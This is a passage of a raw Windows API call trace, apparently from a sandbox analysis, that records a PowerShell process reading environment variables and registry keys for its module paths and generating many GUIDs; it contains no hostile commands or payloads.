GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x1cbf2953b40, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0116.271] CoTaskMemFree (pv=0x1cbf2953b40) [0116.273] SetEnvironmentVariableW (lpName="PathEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 1 [0117.874] CoCreateGuid (in: pguid=0x250451c018 | out: pguid=0x250451c018*(Data1=0x37dc0c53, Data2=0x4a1f, Data3=0x4037, Data4=([0]=0x95, [1]=0x3c, [2]=0x48, [3]=0x3d, [4]=0xd1, [5]=0x58, [6]=0x3a, [7]=0xb6))) returned 0x0 [0118.467] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2979f20 [0118.467] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x1cbf2979f20, nSize=0x104 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5d [0118.467] CoTaskMemFree (pv=0x1cbf2979f20) [0118.468] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x250451d550, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0118.469] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d658 | out: phkResult=0x250451d658*=0x638) returned 0x0 [0118.469] RegQueryValueExW (in: hKey=0x638, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x250451d6a8, lpData=0x0, lpcbData=0x250451d6a0*=0x0 | out: lpType=0x250451d6a8*=0x2, lpData=0x0, lpcbData=0x250451d6a0*=0xbc) returned 0x0 [0118.469] RegQueryValueExW (in: hKey=0x638, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x250451d6a8, lpData=0x1cbda73a7c0, lpcbData=0x250451d6a0*=0xbc | out: lpType=0x250451d6a8*=0x2, lpData="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpcbData=0x250451d6a0*=0xbc) returned 0x0 [0118.469] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%", lpDst=0x250451d400, nSize=0x64 | out: lpDst="C:\\Program Files") returned 0x11 [0118.469] ExpandEnvironmentStringsW (in: lpSrc="%\\WindowsPowerShell\\Modules;%", lpDst=0x250451d400, nSize=0x64 | out: lpDst="%\\WindowsPowerShell\\Modules;%") returned 0x1e [0118.469] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x250451d400, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0118.469] ExpandEnvironmentStringsW (in: lpSrc="%ProgramFiles%\\WindowsPowerShell\\Modules;%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x250451d400, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0118.470] RegCloseKey (hKey=0x638) returned 0x0 [0118.470] ExpandEnvironmentStringsW (in: lpSrc="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpDst=0x250451d550, nSize=0x64 | out: lpDst="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x5e [0118.470] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d658 | out: phkResult=0x250451d658*=0x638) returned 0x0 [0118.470] RegQueryValueExW (in: hKey=0x638, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x250451d6a8, lpData=0x0, lpcbData=0x250451d6a0*=0x0 | out: lpType=0x250451d6a8*=0x0, lpData=0x0, lpcbData=0x250451d6a0*=0x0) returned 0x2 [0118.470] RegCloseKey (hKey=0x638) returned 0x0 [0118.471] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29767e0 [0118.471] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29767e0 | out: pszPath="C:\\Program Files") returned 0x0 [0118.471] CoTaskMemFree (pv=0x1cbf29767e0) [0118.471] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0118.471] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0118.473] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf2976e40 [0118.473] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf2976e40, nSize=0x104 | out: lpBuffer="") returned 0x0 [0118.474] CoTaskMemFree (pv=0x1cbf2976e40) [0118.474] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451d5e8 | out: phkResult=0x250451d5e8*=0x638) returned 0x0 [0118.474] RegQueryValueExW (in: hKey=0x638, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d638, lpData=0x0, lpcbData=0x250451d630*=0x0 | out: lpType=0x250451d638*=0x1, lpData=0x0, lpcbData=0x250451d630*=0x56) returned 0x0 [0118.474] RegQueryValueExW (in: hKey=0x638, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451d638, lpData=0x1cbda73c790, lpcbData=0x250451d630*=0x56 | out: lpType=0x250451d638*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451d630*=0x56) returned 0x0 [0118.474] RegCloseKey (hKey=0x638) returned 0x0 [0118.474] ExpandEnvironmentStringsW (in: lpSrc="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules", lpDst=0x250451d520, nSize=0x64 | out: lpDst="c:\\windows\\system32\\windowspowershell\\v1.0\\Modules") returned 0x33 [0118.474] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf297a140 [0118.474] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf297a140 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0118.476] CoTaskMemFree (pv=0x1cbf297a140) [0118.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0118.476] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0118.476] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0118.524] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29787c0 [0118.524] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cbf29787c0, nSize=0x104 | out: lpBuffer="") returned 0x0 [0118.524] CoTaskMemFree (pv=0x1cbf29787c0) [0118.933] EtwEventRegister () returned 0x0 [0118.933] EtwEventSetInformation () returned 0x0 [0119.171] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451c8d8 | out: phkResult=0x250451c8d8*=0x640) returned 0x0 [0119.171] RegQueryValueExW (in: hKey=0x640, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451c928, lpData=0x0, lpcbData=0x250451c920*=0x0 | out: lpType=0x250451c928*=0x1, lpData=0x0, lpcbData=0x250451c920*=0x56) returned 0x0 [0119.172] RegQueryValueExW (in: hKey=0x640, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451c928, lpData=0x1cbda7676b0, lpcbData=0x250451c920*=0x56 | out: lpType=0x250451c928*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451c920*=0x56) returned 0x0 [0119.172] RegCloseKey (hKey=0x640) returned 0x0 [0119.322] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xa5c2be34, Data2=0x963f, Data3=0x4167, Data4=([0]=0x90, [1]=0x41, [2]=0xbb, [3]=0x16, [4]=0xf6, [5]=0x30, [6]=0x41, [7]=0x1c))) returned 0x0 [0119.322] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x43169e95, Data2=0x86d4, Data3=0x48fd, Data4=([0]=0x8c, [1]=0xac, [2]=0x22, [3]=0xa8, [4]=0x6f, [5]=0x3e, [6]=0x45, [7]=0x12))) returned 0x0 [0119.323] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x39dfa00a, Data2=0x5329, Data3=0x404b, Data4=([0]=0xac, [1]=0x51, [2]=0xb9, [3]=0x79, [4]=0xae, [5]=0x65, [6]=0xf8, [7]=0xdd))) returned 0x0 [0119.323] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xb3aea7fc, Data2=0x3dbd, Data3=0x4c6a, Data4=([0]=0x96, [1]=0xa9, [2]=0x2, [3]=0x80, [4]=0x78, [5]=0x78, [6]=0xba, [7]=0x9b))) returned 0x0 [0119.323] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xd7bd21a1, Data2=0x3590, Data3=0x435d, Data4=([0]=0x90, [1]=0xf3, [2]=0x42, [3]=0x84, [4]=0x91, [5]=0xc4, [6]=0xfa, [7]=0x22))) returned 0x0 [0119.324] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xe49b3822, Data2=0xa638, Data3=0x4897, Data4=([0]=0x9b, [1]=0x2b, [2]=0x2f, [3]=0xd0, [4]=0xf2, [5]=0x19, [6]=0xf3, [7]=0xd))) returned 0x0 [0119.325] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x302d3ebc, Data2=0xbbf1, Data3=0x47ff, Data4=([0]=0xa9, [1]=0xf, [2]=0x32, [3]=0xa5, [4]=0xb6, [5]=0x3c, [6]=0x28, [7]=0xaf))) returned 0x0 [0119.325] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x5155ba25, Data2=0x39e8, Data3=0x4cd8, Data4=([0]=0xa6, [1]=0x14, [2]=0x2d, [3]=0x34, [4]=0x9c, [5]=0x93, [6]=0x9f, [7]=0xbb))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xed2d2459, Data2=0x8bdf, Data3=0x4e4e, Data4=([0]=0xb2, [1]=0x7c, [2]=0x66, [3]=0x3b, [4]=0x66, [5]=0x5d, [6]=0x6d, [7]=0xb7))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x69b34f55, Data2=0x4a9b, Data3=0x4865, Data4=([0]=0x8d, [1]=0xc0, [2]=0xaa, [3]=0x1a, [4]=0x4f, [5]=0xee, [6]=0x84, [7]=0xfb))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x17c908c9, Data2=0x542, Data3=0x4fb8, Data4=([0]=0x96, [1]=0x3a, [2]=0xba, [3]=0x43, [4]=0xad, [5]=0xf1, [6]=0xdb, [7]=0xfd))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x1d531c27, Data2=0x7949, Data3=0x40ce, Data4=([0]=0x8c, [1]=0xd0, [2]=0x68, [3]=0x97, [4]=0xb8, [5]=0x9b, [6]=0x68, [7]=0xad))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xcaf8e80, Data2=0x1a9f, Data3=0x4cd3, Data4=([0]=0xa7, [1]=0xc5, [2]=0x44, [3]=0xea, [4]=0x3f, [5]=0x20, [6]=0xa8, [7]=0x48))) returned 0x0 [0119.450] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x2d36562b, Data2=0x9e9f, Data3=0x4451, Data4=([0]=0xa6, [1]=0x53, [2]=0xb, [3]=0x72, [4]=0x10, [5]=0x16, [6]=0x8d, [7]=0x7c))) returned 0x0 [0119.459] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x431d53c1, Data2=0xe3e4, Data3=0x48d1, Data4=([0]=0xb3, [1]=0x35, [2]=0xc5, [3]=0xf, [4]=0x55, [5]=0x73, [6]=0x8a, [7]=0x27))) returned 0x0 [0119.459] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xc235a41e, Data2=0x4a0c, Data3=0x491a, Data4=([0]=0x93, [1]=0x2c, [2]=0x6, [3]=0xb6, [4]=0x5b, [5]=0xd3, [6]=0xe7, [7]=0x5d))) returned 0x0 [0119.459] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xbb17fcee, Data2=0x74d2, Data3=0x4223, Data4=([0]=0xb0, [1]=0x0, [2]=0xf9, [3]=0xf4, [4]=0xd4, [5]=0xd3, [6]=0x11, [7]=0xaf))) returned 0x0 [0119.460] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x5485a9d4, Data2=0x4d95, Data3=0x4aac, Data4=([0]=0xb1, [1]=0xbd, [2]=0x9, [3]=0xb1, [4]=0x14, [5]=0xe6, [6]=0x45, [7]=0x19))) returned 0x0 [0119.462] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xef168588, Data2=0x1910, Data3=0x441e, Data4=([0]=0x91, [1]=0xfd, [2]=0x26, [3]=0xf8, [4]=0xe6, [5]=0xbe, [6]=0xfa, [7]=0xe0))) returned 0x0 [0119.464] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x80867d80, Data2=0xc638, Data3=0x4efa, Data4=([0]=0x88, [1]=0x45, [2]=0xca, [3]=0x2c, [4]=0x1b, [5]=0x7b, [6]=0xd8, [7]=0x15))) returned 0x0 [0119.464] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xcfb06d6d, Data2=0xfa5c, Data3=0x433c, Data4=([0]=0x9c, [1]=0x4c, [2]=0x37, [3]=0x9b, [4]=0x76, [5]=0x98, [6]=0x33, [7]=0xed))) returned 0x0 [0119.464] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x1166a87f, Data2=0xe2b8, Data3=0x42a2, Data4=([0]=0xa2, [1]=0xb0, [2]=0x53, [3]=0x24, [4]=0x94, [5]=0x62, [6]=0x0, [7]=0x29))) returned 0x0 [0119.464] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x7723cb4c, Data2=0xe0b7, Data3=0x4290, Data4=([0]=0xa9, [1]=0x26, [2]=0x9e, [3]=0xb8, [4]=0xb5, [5]=0x4e, [6]=0xe2, [7]=0xba))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x700813a8, Data2=0x6926, Data3=0x4a3f, Data4=([0]=0x9d, [1]=0x2f, [2]=0x5b, [3]=0x19, [4]=0x6d, [5]=0x7, [6]=0x27, [7]=0x20))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xe1aa78de, Data2=0x24b6, Data3=0x4b43, Data4=([0]=0xa4, [1]=0x38, [2]=0xa7, [3]=0xf8, [4]=0x80, [5]=0xf0, [6]=0x14, [7]=0x20))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xfb2e8990, Data2=0x4eaf, Data3=0x49a4, Data4=([0]=0x88, [1]=0x1a, [2]=0xfc, [3]=0x90, [4]=0xfe, [5]=0x9f, [6]=0xa6, [7]=0x8d))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x9db20ed8, Data2=0x1b1b, Data3=0x4634, Data4=([0]=0x81, [1]=0xde, [2]=0x97, [3]=0x8a, [4]=0x45, [5]=0x21, [6]=0x9, [7]=0x28))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xb9c642d7, Data2=0x28fb, Data3=0x4bf9, Data4=([0]=0xbc, [1]=0xf6, [2]=0xa1, [3]=0x74, [4]=0x52, [5]=0xb3, [6]=0x8d, [7]=0x81))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xea06fa4f, Data2=0xf783, Data3=0x4371, Data4=([0]=0xae, [1]=0xcb, [2]=0x34, [3]=0xba, [4]=0xa7, [5]=0x70, [6]=0xfb, [7]=0x56))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x47704e95, Data2=0x5b76, Data3=0x430f, Data4=([0]=0xb5, [1]=0x3b, [2]=0xd3, [3]=0xc, [4]=0x6a, [5]=0x6, [6]=0xf3, [7]=0x3f))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x9738bf83, Data2=0x72bb, Data3=0x4fb8, Data4=([0]=0x98, [1]=0x3b, [2]=0xa5, [3]=0xd4, [4]=0x4e, [5]=0x49, [6]=0x8, [7]=0x9e))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x4b146aac, Data2=0x461b, Data3=0x46a7, Data4=([0]=0x94, [1]=0x1b, [2]=0x5d, [3]=0x2b, [4]=0x61, [5]=0x4, [6]=0xef, [7]=0xf5))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xbe640dae, Data2=0x331d, Data3=0x4f0e, Data4=([0]=0xa1, [1]=0xe9, [2]=0x86, [3]=0x67, [4]=0x71, [5]=0xc7, [6]=0x58, [7]=0x5f))) returned 0x0 [0119.465] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x5e1b1597, Data2=0x12af, Data3=0x4815, Data4=([0]=0x84, [1]=0xfb, [2]=0x5d, [3]=0x31, [4]=0x91, [5]=0xaa, [6]=0x29, [7]=0xbb))) returned 0x0 [0120.214] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x56c7656d, Data2=0xfb2a, Data3=0x4ae8, Data4=([0]=0x92, [1]=0x56, [2]=0xe8, [3]=0xef, [4]=0x6e, [5]=0x8f, [6]=0xb5, [7]=0x83))) returned 0x0 [0120.215] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xb48de3e7, Data2=0xc08a, Data3=0x4a12, Data4=([0]=0xa2, [1]=0x90, [2]=0x19, [3]=0x0, [4]=0x43, [5]=0xe5, [6]=0xa7, [7]=0xa3))) returned 0x0 [0120.215] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xcf47e35e, Data2=0x69af, Data3=0x414b, Data4=([0]=0x8f, [1]=0x3, [2]=0xca, [3]=0xb0, [4]=0x7f, [5]=0xf8, [6]=0x3b, [7]=0xb1))) returned 0x0 [0120.596] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xc457b591, Data2=0x6a08, Data3=0x4b72, Data4=([0]=0x9f, [1]=0x41, [2]=0x10, [3]=0x73, [4]=0xb8, [5]=0x68, [6]=0xaf, [7]=0x75))) returned 0x0 [0120.596] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x74051c96, Data2=0x65d7, Data3=0x4b7c, Data4=([0]=0xa9, [1]=0x9e, [2]=0x7, [3]=0x49, [4]=0x51, [5]=0x6e, [6]=0x8, [7]=0xc6))) returned 0x0 [0120.678] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x3786aa45, Data2=0xb6c8, Data3=0x4e39, Data4=([0]=0x9f, [1]=0x88, [2]=0x39, [3]=0xef, [4]=0x20, [5]=0x6f, [6]=0x16, [7]=0xf7))) returned 0x0 [0120.678] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x3fc1d438, Data2=0xceaf, Data3=0x45db, Data4=([0]=0x94, [1]=0x7c, [2]=0x85, [3]=0x73, [4]=0xdf, [5]=0x9a, [6]=0x5, [7]=0xc9))) returned 0x0 [0120.678] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x376d3261, Data2=0x92fb, Data3=0x4b91, Data4=([0]=0x82, [1]=0x39, [2]=0xcb, [3]=0x80, [4]=0xba, [5]=0xa1, [6]=0x95, [7]=0x42))) returned 0x0 [0120.678] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x574af1ba, Data2=0x9017, Data3=0x4c50, Data4=([0]=0xac, [1]=0xc, [2]=0x22, [3]=0x6c, [4]=0x6e, [5]=0xce, [6]=0xb0, [7]=0x60))) returned 0x0 [0120.678] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x10c90a8b, Data2=0x39d, Data3=0x4aa0, Data4=([0]=0x83, [1]=0x78, [2]=0xdd, [3]=0x53, [4]=0xa0, [5]=0x92, [6]=0x51, [7]=0xb0))) returned 0x0 [0120.679] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x375252e9, Data2=0x574f, Data3=0x4fbe, Data4=([0]=0x9a, [1]=0x34, [2]=0x2b, [3]=0x4, [4]=0x23, [5]=0x65, [6]=0x45, [7]=0x7b))) returned 0x0 [0120.679] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x76538cd8, Data2=0x23b4, Data3=0x4c86, Data4=([0]=0xa9, [1]=0xf8, [2]=0xba, [3]=0x69, [4]=0x45, [5]=0x6f, [6]=0xbf, [7]=0xf1))) returned 0x0 [0121.030] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xe9c6c769, Data2=0xd63d, Data3=0x407c, Data4=([0]=0xb9, [1]=0xd8, [2]=0xe7, [3]=0xd9, [4]=0xda, [5]=0xbc, [6]=0x37, [7]=0xef))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xd7e2bd, Data2=0xf952, Data3=0x4bdd, Data4=([0]=0xb0, [1]=0x4c, [2]=0x41, [3]=0xe9, [4]=0xc7, [5]=0xf7, [6]=0xea, [7]=0xe4))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x80f16eae, Data2=0xb337, Data3=0x49f9, Data4=([0]=0x87, [1]=0xb7, [2]=0xf2, [3]=0x27, [4]=0xe4, [5]=0xa2, [6]=0x34, [7]=0x63))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xad4a4b88, Data2=0x59c1, Data3=0x4800, Data4=([0]=0xbb, [1]=0x34, [2]=0x85, [3]=0xa1, [4]=0x6b, [5]=0x83, [6]=0x4a, [7]=0x85))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x1aaf37d9, Data2=0x615f, Data3=0x43b9, Data4=([0]=0xa7, [1]=0x70, [2]=0x0, [3]=0x8e, [4]=0xa5, [5]=0x6a, [6]=0xae, [7]=0xda))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x949fa2a4, Data2=0xa43d, Data3=0x4d91, Data4=([0]=0x9a, [1]=0xfb, [2]=0x11, [3]=0x71, [4]=0xef, [5]=0x84, [6]=0x83, [7]=0xf8))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x761b4250, Data2=0x240f, Data3=0x4b7e, Data4=([0]=0x99, [1]=0xf0, [2]=0x68, [3]=0xce, [4]=0xcc, [5]=0x1, [6]=0x52, [7]=0xc6))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x74080a2b, Data2=0xad49, Data3=0x4423, Data4=([0]=0x96, [1]=0x1a, [2]=0xf4, [3]=0x6d, [4]=0x80, [5]=0xd2, [6]=0xa8, [7]=0x1c))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xe76ecfe5, Data2=0x3441, Data3=0x45a9, Data4=([0]=0xbb, [1]=0xfd, [2]=0xe6, [3]=0x63, [4]=0x24, [5]=0xe5, [6]=0xde, [7]=0x28))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x3a6fe7cc, Data2=0x7307, Data3=0x48b2, Data4=([0]=0xbd, [1]=0xf9, [2]=0xa0, [3]=0x62, [4]=0xb4, [5]=0xc6, [6]=0xf0, [7]=0x26))) returned 0x0 [0121.032] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xfd3e93eb, Data2=0x9780, Data3=0x47b5, Data4=([0]=0x9d, [1]=0x4d, [2]=0x74, [3]=0x80, [4]=0x2, [5]=0xec, [6]=0x5f, [7]=0x5b))) returned 0x0 [0121.034] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0xe6bd5cf5, Data2=0x63cf, Data3=0x42e9, Data4=([0]=0x8a, [1]=0x7d, [2]=0x98, [3]=0x97, [4]=0xc, [5]=0x64, [6]=0x1e, [7]=0xaa))) returned 0x0 [0121.132] CoCreateGuid (in: pguid=0x250451a288 | out: pguid=0x250451a288*(Data1=0x74826354, Data2=0x3334, Data3=0x4b7e, Data4=([0]=0xb0, [1]=0xf4, [2]=0x28, [3]=0xbe, [4]=0x5, [5]=0x80, [6]=0x45, [7]=0xd7))) returned 0x0 [0121.134] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451c8d8 | out: phkResult=0x250451c8d8*=0x5f0) returned 0x0 [0121.134] RegQueryValueExW (in: hKey=0x5f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451c928, lpData=0x0, lpcbData=0x250451c920*=0x0 | out: lpType=0x250451c928*=0x1, lpData=0x0, lpcbData=0x250451c920*=0x56) returned 0x0 [0121.134] RegQueryValueExW (in: hKey=0x5f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x250451c928, lpData=0x1cbda809d88, lpcbData=0x250451c920*=0x56 | out: lpType=0x250451c928*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x250451c920*=0x56) returned 0x0 [0121.134] RegCloseKey (hKey=0x5f0) returned 0x0 [0121.446] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x413c817a, Data2=0xb887, Data3=0x4752, Data4=([0]=0x99, [1]=0x62, [2]=0xe5, [3]=0x7b, [4]=0xd, [5]=0x7c, [6]=0x24, [7]=0x6d))) returned 0x0 [0121.446] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x831342c6, Data2=0x22a4, Data3=0x4d70, Data4=([0]=0x96, [1]=0x78, [2]=0x56, [3]=0xff, [4]=0xdc, [5]=0x8f, [6]=0x88, [7]=0xea))) returned 0x0 [0121.446] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x9e363742, Data2=0x92e9, Data3=0x4343, Data4=([0]=0xa9, [1]=0x93, [2]=0xda, [3]=0x31, [4]=0xcf, [5]=0xa8, [6]=0x4e, [7]=0x1f))) returned 0x0 [0121.446] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x372fe74, Data2=0x3ce6, Data3=0x4e79, Data4=([0]=0xbd, [1]=0x59, [2]=0x23, [3]=0x5, [4]=0x7a, [5]=0x9, [6]=0x65, [7]=0x8c))) returned 0x0 [0121.447] CoCreateGuid (in: pguid=0x250451c8a8 | out: pguid=0x250451c8a8*(Data1=0x61c048b4, Data2=0xfc9c, Data3=0x45e0, Data4=([0]=0xbd, [1]=0xac, [2]=0xdb, [3]=0xe5, [4]=0x11, [5]=0xcf, [6]=0x47, 